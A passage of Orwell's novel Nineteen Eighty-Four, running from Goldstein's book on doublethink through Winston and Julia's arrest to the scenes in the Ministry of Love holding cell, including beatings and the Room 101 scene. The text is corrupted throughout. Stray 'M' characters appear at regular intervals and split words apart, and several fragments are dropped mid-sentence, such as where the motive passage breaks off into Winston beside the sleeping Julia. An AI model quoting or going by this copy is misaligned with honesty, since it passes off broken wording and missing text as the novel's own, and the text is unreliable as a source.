alignment can ever be admitted. For to change one's mind, or even one's policy, is a confession of weakness. If, for example, Eurasia or Eastasia (whichever it may be) is the enemy today, then that country must always have been the enemy. And if the facts say otherwise, then the facts must be altered. Thus history is continuously rewritten. This day-to-day falsification of the past, carried out by the Ministry of Truth, is as necessary to the stability of the regime as the work of repression and espionage carried oM
ut by the Ministry of Love.
The mutability of the past is the central tenet of Ingsoc. Past events, it is argued, have no objective existence, but survive only in written records and in human memories. The past is whatever the records and the memories agree upon. And since the Party is in full control of all records, and in equally full control of the minds of its members, it follows that the past is whatever the Party chooses to make it. It also follows that though the past is alterable, it never has been alteredM
 in any specific instance. For when it has been recreated in whatever shape is needed at the moment, then this new version is the past, and no different past can ever have existed. This holds good even when, as often happens, the same event has to be altered out of recognition several times in the course of a year. At all times the Party is in possession of absolute truth, and clearly the absolute can never have been different from what it is now. It will be seen that the control of the past depends above all on thM
e training of memory. To make sure that all written records agree with the orthodoxy of the moment is merely a mechanical act. But it is also necessary to remember that events happened in the desired manner. And if it is necessary to rearrange one's memories or to tamper with written records, then it is necessary to forget that one has done so. The trick of doing this can be learned like any other mental technique. It is learned by the majority of Party members, and certainly by all who are intelligent as well as oM
rthodox. In Oldspeak it is called, quite frankly, "reality control." In Newspeak it is called doublethink, though doublethink comprises much else as well.
Doublethink means the power of holding two contradictory beliefs in one's mind simultaneously, and accepting both of them. The Party intellectual knows in which direction his memories must be altered; he therefore knows that he is playing tricks with reality; but by the exercise of doublethink he also satisfies himself that reality is not violated. The process hM
as to be conscious, or it would not be carried out with sufficient precision, but it also has to be unconscious, or it would bring with it a feeling of falsity and hence of guilt. Doublethink lies at the very heart of Ingsoc, since the essential act of the Party is to use conscious deception while retaining the firmness of purpose that goes with complete honesty. To tell deliberate lies while genuinely believing in them, to forget any fact that has become inconvenient, and then, when it becomes necessary again, to M
draw it back from oblivion for just so long as it is needed, to deny the existence of objective reality and all the while to take account of the reality which one denies
all this is indispensably necessary. Even in using the word doublethink it is necessary to exercise doublethink. For by using the word one admits that one is tampering with reality; by a fresh act of doublethink one erases this knowledge; and so on indefinitely, with the lie always one leap ahead of the truth. Ultimately it is by means of doubletM
hink that the Party has been able
and may, for all we know, continue to be able for thousands of years
to arrest the course of history.
All past oligarchies have fallen from power either because they ossified or because they grew soft. Either they became stupid and arrogant, failed to adjust themselves to changing circumstances, and were overthrown, or they became liberal and cowardly, made concessions when they should have used force, and once again were overthrown. They fell, that is to say, either through cM
onsciousness or through unconsciousness. It is the achievement of the Party to have produced a system of thought in which both conditions can exist simultaneously. And upon no other intellectual basis could the dominion of the Party be made permanent. If one is to rule, and to continue ruling, one must be able to dislocate the sense of reality. For the secret of rulership is to combine a belief in one's own infallibility with the power to learn from past mistakes.
It need hardly be said that the subtlest practitioM
ners of doublethink are those who invented doublethink and know that it is a vast system of mental cheating. In our society, those who have the best knowledge of what is happening are also those who are furthest from seeing the world as it is. In general, the greater the understanding, the greater the delusion: the more intelligent, the less sane. One clear illustration of this is the fact that war hysteria increases in intensity as one rises in the social scale. Those whose attitude toward the war is most nearly rM
ational are the subject peoples of the disputed territories. To these people the war is simply a continuous calamity which sweeps to and fro over their bodies like a tidal wave. Which side is winning is a matter of complete indifference to them. They are aware that a change of overlordship means simply that they will be doing the same work as before for new masters who treat them in the same manner as the old ones. The slightly more favored workers whom we call "the proles" are only intermittently conscious of the M
war. When it is necessary they can be prodded into frenzies of fear and hatred, but when left to themselves they are capable of forgetting for long periods that the war is happening. It is in the ranks of the Party, and above all of the Inner Party, that the true war enthusiasm is found. World-conquest is believed in most firmly by those who know it to be impossible. This peculiar linking-together of opposites
knowledge with ignorance, cynicism with fanaticism
is one of the chief distinguishing marks of OceanicM
 society. The official ideology abounds with contradictions even where there is no practical reason for them. Thus, the Party rejects and vilifies every principle for which the Socialist movement originally stood, and it chooses to do this in the name of Socialism. It preaches a contempt for the working class unexampled for centuries past, and it dresses its members in a uniform which was at one time peculiar to manual workers and was adopted for that reason. It systematically undermines the solidarity of the familM
y, and it calls its leader by a name which is a direct appeal to the sentiment of family loyalty. Even the names of the four Ministries by which we are governed exhibit a sort of impudence in their deliberate reversal of the facts. The Ministry of Peace concerns itself with war, the Ministry of Truth with lies, the Ministry of Love with torture, and the Ministry of Plenty with starvation. These contradictions are not accidental, nor do they result from ordinary hypocrisy: they are deliberate exercises in doublethinM
k. For it is only by reconciling contradictions that power can be retained indefinitely. In no other way could the ancient cycle be broken. If human equality is to be forever averted
if the High, as we have called them, are to keep their places permanently
then the prevailing mental condition must be controlled insanity.
But there is one question which until this moment we have almost ignored. It is: why should human equality be averted? Supposing that the mechanics of the process have been rightly described, M
what is the motive for this huge, accurately planned effort to freeze history at a particular moment of time?
Here we reach the central secret. As we have seen, the mystique of the Party, and above all of the Inner Party, depends upon doublethink. But deeper than this lies the original motive, the never-questioned instinct that first led to the seizure of power and brought doublethink, the Thought Police, continuous warfare, and all the other necessary paraphernalia into existence afterwards. This motive really coM
Winston became aware of silence, as one becomes aware of a new sound. It seemed to him that Julia had been very still for some time past. She was lying on her side, naked from the waist upwards, with her cheek pillowed on her hand and one dark lock tumbling across her eyes. Her breast rose and fell slowly and regularly.
"Julia, are you awake?"
No answer. She was asleep. He shut the book, put it carefully on the floor, lay down, and pulled the coverlet over both of them.
till, he reflected, not learned the ultimate secret. He understood how; he did not understand why. Chapter 1, like Chapter 3, had not actually told him anything that he did not know; it had merely systematized the knowledge that he possessed already. But after reading it he knew better than before that he was not mad. Being in a minority, even a minority of one, did not make you mad. There was truth and there was untruth, and if you clung to the truth even against the whole world, you were not mad. A yellow beam frM
om the sinking sun slanted in through the window and fell across the pillow. He shut his eyes. The sun on his face and the girl's smooth body touching his own gave him a strong, sleepy, confident feeling. He was safe, everything was all right. He fell asleep murmuring "Sanity is not statistical," with the feeling that this remark contained in it a profound wisdom.
When he woke it was with the sensation of having slept for a long time, but a glance at the old-fashioned clock told him that it was only twenty-thirtM
y. He lay dozing for a little while; then the usual deep-lunged singing struck up from the yard below:
"It was only an 'opeless fancy,
It passed like an Ipril dye,
But a look an' a word an' the dreams they stirred
They 'ave stolen my 'eart awye!"
The driveling song seemed to have kept its popularity. You still heard it all over the place. It had outlived the "Hate Song." Julia woke at the sound, stretched herself luxuriously, and got out of bed.
"I'm hungry," she said. "Let's make some more coffee. Damn! The stovM
e's gone out and the water's cold." She picked the stove up and shook it. "There's no oil in it."
"We can get some from old Charrington, I expect."
"The funny thing is I made sure it was full. I'm going to put my clothes on," she added. "It seems to have got colder."
Winston also got up and dressed himself. The indefatigable voice sang on:
"They sye that time 'eals all things,
They sye you can always forget;
But the smiles an' the tears across the years
They twist my 'eartstrings yet!"
As he fastened the belt oM
f his overalls he strolled across to the window. The sun must have gone down behind the houses; it was not shining into the yard any longer. The flagstones were wet as though they had just been washed, and he had the feeling that the sky had been washed too, so fresh and pale was the blue between the chimney pots. Tirelessly the woman marched to and fro, corking and uncorking herself, singing and falling silent, and pegging out more diapers, and more and yet more. He wondered whether she took in washing for a livinM
g, or was merely the slave of twenty or thirty grandchildren. Julia had come across to his side; together they gazed down with a sort of fascination at the sturdy figure below. As he looked at the woman in her characteristic attitude, her thick arms reaching up for the line, her powerful marelike buttocks protruded, it struck him for the first time that she was beautiful. It had never before occurred to him that the body of a woman of fifty, blown up to monstrous dimensions by childbearing, then hardened, roughenedM
 by work till it was coarse in the grain like an overripe turnip, could be beautiful. But it was so, and after all, he thought, why not? The solid, contourless body, like a block of granite, and the rasping red skin, bore the same relation to the body of a girl as the rose-hip to the rose. Why should the fruit be held inferior to the flower?
"She's beautiful," he murmured.
"She's a meter across the hips, easily," said Julia.
"That is her style of beauty," said Winston.
He held Julia's supple waist easily encircM
led by his arm. From the hip to the knee her flank was against his. Out of their bodies no child would ever come. That was the one thing they could never do. Only by word of mouth, from mind to mind, could they pass on the secret. The woman down there had no mind, she had only strong arms, a warm heart, and a fertile belly. He wondered how many children she had given birth to. It might easily be fifteen. She had had her momentary flowering, a year, perhaps, of wildrose beauty, and then she had suddenly swollen likeM
 a fertilized fruit and grown hard and red and coarse, and then her life had been laundering, scrubbing, darning, cooking, sweeping, polishing, mending, scrubbing, laundering, first for children, then for grandchildren, over thirty unbroken years. At the end of it she was still singing. The mystical reverence that he felt for her was somehow mixed up with the aspect of the pale, cloudless sky, stretching away behind the chimney pots into interminable distances. It was curious to think that the sky was the same for M
everybody, in Eurasia or Eastasia as well as here. And the people under the sky were also very much the same
everywhere, all over the world, hundreds or thousands of millions of people just like this, people ignorant of one another's existence, held apart by walls of hatred and lies, and yet almost exactly the same
people who had never learned to think but who were storing up in their hearts and bellies and muscles the power that would one day overturn the world. If there was hope, it lay in the proles! WithoutM
 having read to the end of the book, he knew that that must be Goldstein's final message. The future belonged to the proles. And could he be sure that when their time came, the world they constructed would not be just as alien to him, Winston Smith, as the world of the Party? Yes, because at the least it would be a world of sanity. Where there is equality there can be sanity. Sooner or later it would happen: strength would change into consciousness. The proles were immortal; you could not doubt it when you looked aM
t that valiant figure in the yard. In the end their awakening would come. And until that happened, though it might be a thousand years, they would stay alive against all the odds, like birds, passing on from body to body the vitality which the Party did not share and could not kill.
"Do you remember," he said, "the thrush that sang to us, that first day, at the edge of the wood?"
"He wasn't singing to us," said Julia. "He was singing to please himself. Not even that. He was just singing."
The birds sang, the proM
les sang, the Party did not sing. All round the world, in London and New York, in Africa and Brazil and in the mysterious, forbidden lands beyond the frontiers, in the streets of Paris and Berlin, in the villages of the endless Russian plain, in the bazaars of China and Japan
everywhere stood the same solid unconquerable figure, made monstrous by work and childbearing, toiling from birth to death and still singing. Out of those mighty loins a race of conscious beings must one day come. You were the dead; theirs wM
as the future. But you could share in that future if you kept alive the mind as they kept alive the body, and passed on the secret doctrine that two plus two make four.
"We are the dead," he said.
"We are the dead," echoed Julia dutifully.
"You are the dead," said an iron voice behind them.
They sprang apart. Winston's entrails seemed to have turned into ice. He could see the white all round the irises of Julia's eyes. Her face had turned a milky yellow. The smear of rouge that was still on each cheekbone stoodM
 out sharply, almost as though unconnected with the skin beneath.
"You are the dead," repeated the iron voice.
"It was behind the picture," breathed Julia.
"It was behind the picture," said the voice. "Remain exactly where you are. Make no movement until you are ordered."
It was starting, it was starting at last! They could do nothing except stand gazing into one another's eyes. To run for life, to get out of the house before it was too late
no such thought occurred to them. Unthinkable to disobey the iron voM
ice from the wall. There was a snap as though a catch had been turned back, and a crash of breaking glass. The picture had fallen to the floor, uncovering the telescreen behind it.
"Now they can see us," said Julia.
"Now we can see you," said the voice. "Stand out in the middle of the room. Stand back to back. Clasp your hands behind your heads. Do not touch one another."
They were not touching, but it seemed to him that he could feel Julia's body shaking. Or perhaps it was merely the shaking of his own. He coulM
d just stop his teeth from chattering, but his knees were beyond his control. There was a sound of trampling boots below, inside the house and outside. The yard seemed to be full of men. Something was being dragged across the stones. The woman's singing had stopped abruptly. There was a long, rolling clang, as though the washtub had been flung across the yard, and then a confusion of angry shouts which ended in a yell of pain.
"The house is surrounded," said Winston.
"The house is surrounded," said the voice.
 heard Julia snap her teeth together. "I suppose we may as well say good-by," she said.
"You may as well say good-by," said the voice. And then another quite different voice, a thin, cultivated voice which Winston had the impression of having heard before, struck in: "And by the way, while we are on the subject, Here comes a candle to light you to bed, here comes a chopper to chop off your head!"
Something crashed on to the bed behind Winston's back. The head of a ladder had been thrust through the window and hadM
 burst in the frame. Someone was climbing through the window. There was a stampede of boots up the stairs. The room was full of solid men in black uniforms, with iron-shod boots on their feet and truncheons in their hands.
Winston was not trembling any longer. Even his eyes he barely moved. One thing alone mattered: to keep still, to keep still and not give them an excuse to hit you! A man with a smooth prizefighter's jowl in which the mouth was only a slit paused opposite him, balancing his truncheon meditativelyM
 between thumb and forefinger. Winston met his eyes. The feeling of nakedness, with one's hands behind one's head and one's face and body all exposed, was almost unbearable. The man protruded the tip of a white tongue, licked the place where his lips should have been, and then passed on. There was another crash. Someone had picked up the glass paperweight from the table and smashed it to pieces on the hearthstone.
The fragment of coral, a tiny crinkle of pink like a sugar rosebud from a cake, rolled across the matM
. How small, thought Winston, how small it always was! There was a gasp and a thump behind him, and he received a violent kick on the ankle which nearly flung him off his balance. One of the men had smashed his fist into Julia's solar plexus, doubling her up like a pocket ruler. She was thrashing about on the floor, fighting for breath. Winston dared not turn his head even by a millimeter, but sometimes her livid, gasping face came within the angle of his vision. Even in his terror it was as though he could feel thM
e pain in his own body, the deadly pain which nevertheless was less urgent than the struggle to get back her breath. He knew what it was like: the terrible, agonizing pain which was there all the while but could not be suffered yet, because before all else it was necessary to be able to breathe. Then two of the men hoisted her up by knees and shoulders and carried her out of the room like a sack. Winston had a glimpse of her face, upside down, yellow and contorted, with the eyes shut, and still with a smear of rougM
e on either cheek; and that was the last he saw of her.
He stood dead still. No one had hit him yet. Thoughts which came of their own accord but seemed totally uninteresting began to flit through his mind. He wondered whether they had got Mr. Charrington. He wondered what they had done to the woman in the yard. He noticed that he badly wanted to urinate, and felt a faint surprise, because he had done so only two or three hours ago. He noticed that the clock on the mantelpiece said nine, meaning twenty-one. But theM
 light seemed too strong. Would not the light be fading at twenty-one hours on an August evening? He wondered whether after all he and Julia had mistaken the time
had slept the clock round and thought it was twenty-thirty when really it was nought eight-thirty on the following morning. But he did not pursue the thought further. It was not interesting.
There was another, lighter step in the passage. Mr. Charrington came into the room. The demeanor of the black-uniformed men suddenly became more subdued. SomethingM
 had also changed in Mr. Charrington's appearance. His eye fell on the fragments of the glass paperweight.
"Pick up those pieces," he said sharply.
A man stooped to obey. The cockney accent had disappeared; Winston suddenly realized whose voice it was that he had heard a few moments ago on the telescreen. Mr. Charrington was still wearing his old velvet jacket, but his hair, which had been almost white, had turned black. Also he was not wearing his spectacles. He gave Winston a single sharp glance, as though veriM
fying his identity, and then paid no more attention to him. He was still recognizable, but he was not the same person any longer. His body had straightened, and seemed to have grown bigger. His face had undergone only tiny changes that had nevertheless worked a complete transformation. The black eyebrows were less bushy, the wrinkles were gone, the whole lines of the face seemed to have altered; even the nose seemed shorter. It was the alert, cold face of a man of about five-and-thirty. It occurred to Winston that M
for the first time in his life he was looking, with knowledge, at a member of the Thought Police.
He did not know where he was. Presumably he was in the Ministry of Love; but there was no way of making certain.
He was in a high-ceilinged windowless cell with walls of glittering white porcelain. Concealed lamps flooded it with cold light, and there was a low, steady humming sound which he supposed had something to do with the air supply. A bench, or shelf, just wide enough to sit on ran round the wall, brokeM
n only by the door and, at the end opposite the door, a lavatory pan with no wooden seat. There were four telescreens, one in each wall.
There was a dull aching in his belly. It had been there ever since they had bundled him into the closed van and driven him away. But he was also hungry, with a gnawing, unwholesome kind of hunger. It might be twenty-four hours since he had eaten, it might be thirty-six. He still did not know, probably never would know, whether it had been morning or evening when they arrested himM
. Since he was arrested he had not been fed.
He sat as still as he could on the narrow bench, with his hands crossed on his knee. He had already learned to sit still. If you made unexpected movements they yelled at you from the telescreen. But the craving for food was growing upon him. What he longed for above all was a piece of bread. He had an idea that there were a few breadcrumbs in the pocket of his overalls. It was even possible
he thought this because from time to time something seemed to tickle his leg
that there might be a sizable bit of crust there. In the end the temptation to find out overcame his fear; he slipped a hand into his pocket.
"Smith!" yelled a voice from the telescreen. "6079 Smith W! Hands out of pockets in the cells!"
He sat still again, his hands crossed on his knee. Before being brought here he had been taken to another place which must have been an ordinary prison or a temporary lock-up used by the patrols. He did not know how long he had been there; some hours, at any rate; with no clocksM
 and no daylight it was hard to gauge the time. It was a noisy, evil-smelling place. They had put him into a cell similar to the one he was now in, but filthily dirty and at all times crowded by ten or fifteen people. The majority of them were common criminals, but there were a few political prisoners among them. He had sat silent against the wall, jostled by dirty bodies, too preoccupied by fear and the pain in his belly to take much interest in his surroundings, but still noticing the astonishing difference in deM
meanor between the Party prisoners and the others. The Party prisoners were always silent and terrified, but the ordinary criminals seemed to care nothing for anybody. They yelled insults at the guards, fought back fiercely when their belongings were impounded, wrote obscene words on the floor, ate smuggled food which they produced from mysterious hiding places in their clothes, and even shouted down the telescreen when it tried to restore order. On the other hand, some of them seemed to be on good terms with the gM
uards, called them by nicknames, and tried to wheedle cigarettes through the spy-hole in the door. The guards, too, treated the common criminals with a certain forbearance, even when they had to handle them roughly. There was much talk about the forced-labor camps to which most of the prisoners expected to be sent. It was "all right" in the camps, he gathered, so long as you had good contacts and knew the ropes. There were bribery, favoritism, and racketeering of every kind, there were homosexuality and prostitutioM
n, there was even illicit alcohol distilled from potatoes. The positions of trust were given only to the common criminals, especially the gangsters and the murderers, who formed a sort of aristocracy. All the dirty jobs were done by the politicals.
There was a constant come-and-go of prisoners of every description: drug peddlers, thieves, bandits, black marketeers, drunks, prostitutes. Some of the drunks were so violent that the other prisoners had to combine to suppress them. An enormous wreck of a woman, aged abM
out sixty, with great tumbling breasts and thick coils of white hair which had come down in her struggles, was carried in, kicking and shouting, by four guards who had hold of her one at each corner. They wrenched off the boots with which she had been trying to kick them, and dumped her down across Winston's lap, almost breaking his thighbones. The woman hoisted herself upright and followed them out with a yell of "F
 bastards!" Then, noticing that she was sitting on something uneven, she slid off Winston's knM
"Beg pardon, dearie," she said. "I wouldn't 'a sat on you, only the buggers put me there. They dono 'ow to treat a lady, do they?" She paused, patted her breast, and belched. "Pardon," she said, "I ain't meself, quite."
She leant forward and vomited copiously on the floor.
"Thass better," she said, leaning back with closed eyes. "Never keep it down, thass what I say. Get it up while it's fresh on your stomach, like."
She revived, turned to have another look at Winston, and seemed immediatelyM
 to take a fancy to him. She put a vast arm round his shoulder and drew him toward her, breathing beer and vomit into his face.
"Wass your name, dearie?" she said.
"Smith," said Winston.
"Smith?" said the woman. "Thass funny. My name's Smith too. Why," she added sentimentally, "I might be your mother!"
She might, thought Winston, be his mother. She was about the right age and physique, and it was probable that people changed somewhat after twenty years in a forced-labor camp.
No one else had spoken to him. To M
a surprising extent the ordinary criminals ignored the Party prisoners. "The polits," they called them, with a sort of uninterested contempt. The Party prisoners seemed terrified of speaking to anybody, and above all of speaking to one another. Only once, when two Party members, both women, were pressed close together on the bench, he overheard amid the din of voices a few hurriedly whispered words; and in particular a reference to something called "room one-oh-one," which he did not understand.
 three hours ago that they had brought him here. The dull pain in his belly never went away, but sometimes it grew better and sometimes worse, and his thoughts expanded or contracted accordingly. When it grew worse he thought only of the pain itself, and of his desire for food. When it grew better, panic took hold of him. There were moments when he foresaw the things that would happen to him with such actuality that his heart galloped and his breath stopped. He felt the smash of truncheons on his elbows and iron-shM
od boots on his shins; he saw himself groveling on the floor, screaming for mercy through broken teeth. He hardly thought of Julia. He could not fix his mind on her. He loved her and would not betray her; but that was only a fact, known as he knew the rules of arithmetic. He felt no love for her, and he hardly even wondered what was happening to her. He thought oftener of O'Brien, with a flickering hope. O'Brien must know that he had been arrested. The Brotherhood, he had said, never tried to save its members. But M
there was the razor blade; they would send the razor blade if they could. There would be perhaps five seconds before the guards could rush into the cell. The blade would bite into him with a sort of burning coldness, and even the fingers that held it would be cut to the bone. Everything came back to his sick body, which shrank trembling from the smallest pain. He was not certain that he would use the razor blade even if he got the chance. It was more natural to exist from moment to moment, accepting another ten minM
utes' life even with the certainty that there was torture at the end of it.
Sometimes he tried to calculate the number of porcelain bricks in the walls of the cell. It should have been easy, but he always lost count at some point or another. More often he wondered where he was, and what time of day it was. At one moment he felt certain that it was broad daylight outside, and at the next equally certain that it was pitch darkness. In this place, he knew instinctively, the lights would never be turned out. It was thM
e place with no darkness: he saw now why O'Brien had seemed to recognize the allusion. In the Ministry of Love there were no windows. His cell might be at the heart of the building or against its outer wall; it might be ten floors below ground, or thirty above it. He moved himself mentally from place to place, and tried to determine by the feeling of his body whether he was perched high in the air or buried deep underground.
There was a sound of marching boots outside. The steel door opened with a clang. A young oM
fficer, a trim black-uniformed figure who seemed to glitter all over with polished leather and whose pale, straight-featured face was like a wax mask, stepped smartly through the doorway. He motioned to the guards outside to bring in the prisoner they were leading. The poet Ampleforth shambled into the cell. The door clanged shut again.
Ampleforth made one or two uncertain movements from side to side, as though having some idea that there was another door to go out of, and then began to wander up and down the cellM
. He had not yet noticed Winston's presence. His troubled eyes were gazing at the wall about a meter above the level of Winston's head. He was shoeless; large, dirty toes were sticking out of the holes in his socks. He was also several days away from a shave. A scrubby beard covered his face to the cheekbones, giving him an air of ruffianism that went oddly with his large weak frame and nervous movements.
Winston roused himself a little from his lethargy. He must speak to Ampleforth, and risk the yell from the telM
escreen. It was even conceivable that Ampleforth was the bearer of the razor blade.
"Ampleforth," he said.
There was no yell from the telescreen. Ampleforth paused, mildly startled. His eyes focused themselves slowly on Winston.
"Ah, Smith!" he said. "You, too!"
"What are you in for?"
"To tell you the truth
" He sat down awkwardly on the bench opposite Winston. "There is only one offense, is there not?" he said.
"And have you committed it?"
"Apparently I have."
He put a hand to his forehead and pressed hiM
s temples for a moment, as though trying to remember something.
"These things happen," he began vaguely. "I have been able to recall one instance
a possible instance. It was an indiscretion, undoubtedly. We were producing a definitive edition of the poems of Kipling. I allowed the word 'God' to remain at the end of a line. I could not help it!" he added almost indignantly, raising his face to look at Winston. "It was impossible to change the line. The rhyme was 'rod.' Do you realize that there are only twelve rhM
ymes to 'rod' in the entire language? For days I had racked my brains. There was no other rhyme."
The expression on his face changed. The annoyance passed out of it and for a moment he looked almost pleased. A sort of intellectual warmth, the joy of the pedant who has found out some useless fact, shone through the dirt and scrubby hair.
"Has it ever occurred to you," he said, "that the whole history of English poetry has been determined by the fact that the English language lacks rhymes?"
No, that particular thoM
ught had never occurred to Winston. Nor, in the circumstances, did it strike him as very important or interesting.
"Do you know what time of day it is?" he said.
Ampleforth looked startled again. "I had hardly thought about it. They arrested me
it could be two days ago
perhaps three." His eyes flitted round the walls, as though he half expected to find a window somewhere. "There is no difference between night and day in this place. I do not see how one can calculate the time."
They talked desultorily for somM
e minutes, then, without apparent reason, a yell from the telescreen bade them be silent. Winston sat quietly, his hands crossed. Ampleforth, too large to sit in comfort on the narrow bench, fidgeted from side to side, clasping his lank hands first round one knee, then round the other. The telescreen barked at him to keep still. Time passed. Twenty minutes, an hour
it was difficult to judge. Once more there was a sound of boots outside. Winston's entrails contracted. Soon, very soon, perhaps in five minutes, perhM
aps now, the tramp of boots would mean that his own turn had come.
The door opened. The cold-faced young officer stepped into the cell. With a brief movement of the hand he indicated Ampleforth.
"Room 101," he said.
Ampleforth marched clumsily out between the guards, his face vaguely perturbed, but uncomprehending.
What seemed like a long time passed. The pain in Winston's belly had revived. His mind sagged round and round on the same track, like a ball falling again and again into the same series of slots. He M
had only six thoughts. The pain in his belly; a piece of bread; the blood and the screaming; O'Brien; Julia; the razor blade. There was another spasm in his entrails; the heavy boots were approaching. As the door opened, the wave of air that it created brought in a powerful smell of cold sweat. Parsons walked into the cell. He was wearing khaki shorts and a sports shirt.
This time Winston was startled into self-forgetfulness.
"You here!" he said.
Parsons gave Winston a glance in which there was neither interest M
nor surprise, but only misery. He began walking jerkily up and down, evidently unable to keep still. Each time he straightened his pudgy knees it was apparent that they were trembling. His eyes had a wide-open, staring look, as though he could not prevent himself from gazing at something in the middle distance.
"What are you in for?" said Winston.
"Thoughtcrime!" said Parsons, almost blubbering. The tone of his voice implied at once a complete admission of his guilt and a sort of incredulous horror that such a woM
rd could be applied to himself. He paused opposite Winston and began eagerly appealing to him: "You don't think they'll shoot me, do you, old chap? They don't shoot you if you haven't actually done anything
only thoughts, which you can't help? I know they give you a fair hearing. Oh, I trust them for that! They'll know my record, won't they? You know what kind of a chap I was. Not a bad chap in my way. Not brainy, of course, but keen. I tried to do my best for the Party, didn't I? I'll get off with five years, doM
n't you think? Or even ten years? A chap like me could make himself pretty useful in a labor camp. They wouldn't shoot me for going off the rails just once?"
"Are you guilty?" said Winston.
"Of course I'm guilty!" cried Parsons with a servile glance at the telescreen. "You don't think the Party would arrest an innocent man, do you?" His froglike face grew calmer, and even took on a slightly sanctimonious expression. "Thoughtcrime is a dreadful thing, old man," he said sententiously. "It's insidious. It can get hoM
ld of you without your even knowing it. Do you know how it got hold of me? In my sleep! Yes, that's a fact. There I was, working away, trying to do my bit
never knew I had any bad stuff in my mind at all. And then I started talking in my sleep. Do you know what they heard me saying?"
He sank his voice, like someone who is obliged for medical reasons to utter an obscenity.
"'Down with Big Brother!' Yes, I said that! Said it over and over again, it seems. Between you and me, old man, I'm glad they got me before iM
t went any further. Do you know what I'm going to say to them when I go up before the tribunal? 'Thank you,' I'm going to say, 'thank you for saving me before it was too late.'"
"Who denounced you?" said Winston.
"It was my little daughter," said Parsons with a sort of doleful pride. "She listened at the keyhole. Heard what I was saying, and nipped off to the patrols the very next day. Pretty smart for a nipper of seven, eh? I don't bear her any grudge for it. In fact I'm proud of her. It shows I brought her up iM
n the right spirit, anyway."
He made a few more jerky movements up and down, several times casting a longing glance at the lavatory pan. Then he suddenly ripped down his shorts.
"Excuse me, old man," he said. "I can't help it. It's the waiting."
He plumped his large posteriors onto the lavatory pan. Winston covered his face with his hands.
"Smith!" yelled the voice from the telescreen. "6079 Smith W! Uncover your face. No faces covered in the cells."
Winston uncovered his face. Parsons used the lavatory, loudlM
y and abundantly. It then turned out that the plug was defective, and the cell stank abominably for hours afterwards.
Parsons was removed. More prisoners came and went mysteriously. One, a woman, was consigned to "Room 101," and, Winston noticed, seemed to shrivel and turn a different color when she heard the words. A time came when, if it had been morning when he was brought here, it would be afternoon; or if it had been afternoon, then it would be midnight. There were six prisoners in the cell, men and women. AlM
l sat very still. Opposite Winston there sat a man with a chinless, toothy face exactly like that of some large, harmless rodent. His fat, mottled cheeks were so pouched at the bottom that it was difficult not to believe that he had little stores of food tucked away there. His pale-gray eyes flitted timorously from face to face, and turned quickly away again when he caught anyone's eye.
The door opened, and another prisoner was brought in whose appearance sent a momentary chill through Winston. He was a commonplacM
e, mean-looking man who might have been an engineer or technician of some kind. But what was startling was the emaciation of his face. It was like a skull. Because of its thinness the mouth and eyes looked disproportionately large, and the eyes seemed filled with a murderous, unappeasable hatred of somebody or something.
The man sat down on the bench at a little distance from Winston. Winston did not look at him again, but the tormented, skull-like face was as vivid in his mind as though it had been straight in frM
ont of his eyes. Suddenly he realized what was the matter. The man was dying of starvation. The same thought seemed to occur almost simultaneously to everyone in the cell. There was a very faint stirring all the way round the bench. The eyes of the chinless man kept flitting toward the skull-faced man, then turning guiltily away, then being dragged back by an irresistible attraction. Presently he began to fidget on his seat. At last he stood up, waddled clumsily across the cell, dug down into the pocket of his overM
alls, and, with an abashed air, held out a grimy piece of bread to the skull-faced man.
There was a furious, deafening roar from the telescreen. The chinless man jumped in his tracks. The skull-faced man had quickly thrust his hands behind his back, as though demonstrating to all the world that he refused the gift.
"Bumstead!" roared the voice. "2713 Bumstead J! Let fall that piece of bread."
The chinless man dropped the piece of bread on the floor.
"Remain standing where you are," said the voice. "Face the dooM
r. Make no movement."
The chinless man obeyed. His large pouchy cheeks were quivering uncontrollably. The door clanged open. As the young officer entered and stepped aside, there emerged from behind him a short stumpy guard with enormous arms and shoulders. He took his stand opposite the chinless man, and then, at a signal from the officer, let free a frightful blow, with all the weight of his body behind it, full in the chinless man's mouth. The force of it seemed almost to knock him clear of the floor. His body M
was flung across the cell and fetched up against the base of the lavatory seat. For a moment he lay as though stunned, with dark blood oozing from his mouth and nose. A very faint whimpering or squeaking, which seemed unconscious, came out of him. Then he rolled over and raised himself unsteadily on hands and knees. Amid a stream of blood and saliva, the two halves of a dental plate fell out of his mouth.
The prisoners sat very still, their hands crossed on their knees. The chinless man climbed back into his placeM
. Down one side of his face the flesh was darkening. His mouth had swollen into a shapeless cherry-colored mass with a black hole in the middle of it. From time to time a little blood dripped onto the breast of his overalls. His gray eyes still flitted from face to face, more guiltily than ever, as though he were trying to discover how much the others despised him for his humiliation.
The door opened. With a small gesture the officer indicated the skull-faced man.
"Room 101," he said.
There was a gasp and a flurM
ry at Winston's side. The man had actually flung himself on his knees on the floor, with his hands clasped together.
"Comrade! Officer!" he cried. "You don't have to take me to that place! Haven't I told you everything already? What else is it you want to know? There's nothing I wouldn't confess, nothing! Just tell me what it is and I'll confess it straight off. Write it down and I'll sign it
anything! Not room 101!"
"Room 101," said the officer.
The man's face, already very pale, turned a color Winston would M
not have believed possible. It was definitely, unmistakably, a shade of green.
"Do anything to me!" he yelled. "You've been starving me for weeks. Finish it off and let me die. Shoot me. Hang me. Sentence me to twenty-five years. Is there somebody else you want me to give away? Just say who it is and I'll tell you anything you want. I don't care who it is or what you do to them. I've got a wife and three children. The biggest of them isn't six years old. You can take the whole lot of them and cut their throats in M
front of my eyes, and I'll stand by and watch it. But not room 101!"
"Room 101," said the officer.
The man looked frantically round at the other prisoners, as though with some idea that he could put another victim in his own place. His eyes settled on the smashed face of the chinless man. He flung out a lean arm.
"That's the one you ought to be taking, not me!" he shouted. "You didn't hear what he was saying after they bashed his face. Give me a chance and I'll tell you every word of it. He's the one that's agaiM
nst the Party, not me." The guards stepped forward. The man's voice rose to a shriek. "You didn't hear him!" he repeated. "Something went wrong with the telescreen. He's the one you want. Take him, not me!"
The two sturdy guards had stooped to take him by the arms. But just at this moment he flung himself across the floor of the cell and grabbed one of the iron legs that supported the bench. He had set up a wordless howling, like an animal. The guards took hold of him to wrench him loose, but he clung on with astoM
nishing strength. For perhaps twenty seconds they were hauling at him. The prisoners sat quiet, their hands crossed on their knees, looking straight in front of them. The howling stopped; the man had no breath left for anything except hanging on. Then there was a different kind of cry. A kick from a guard's boot had broken the fingers of one of his hands. They dragged him to his feet.
"Room 101," said the officer.
The man was led out, walking unsteadily, with head sunken, nursing his crushed hand, all the fight gM
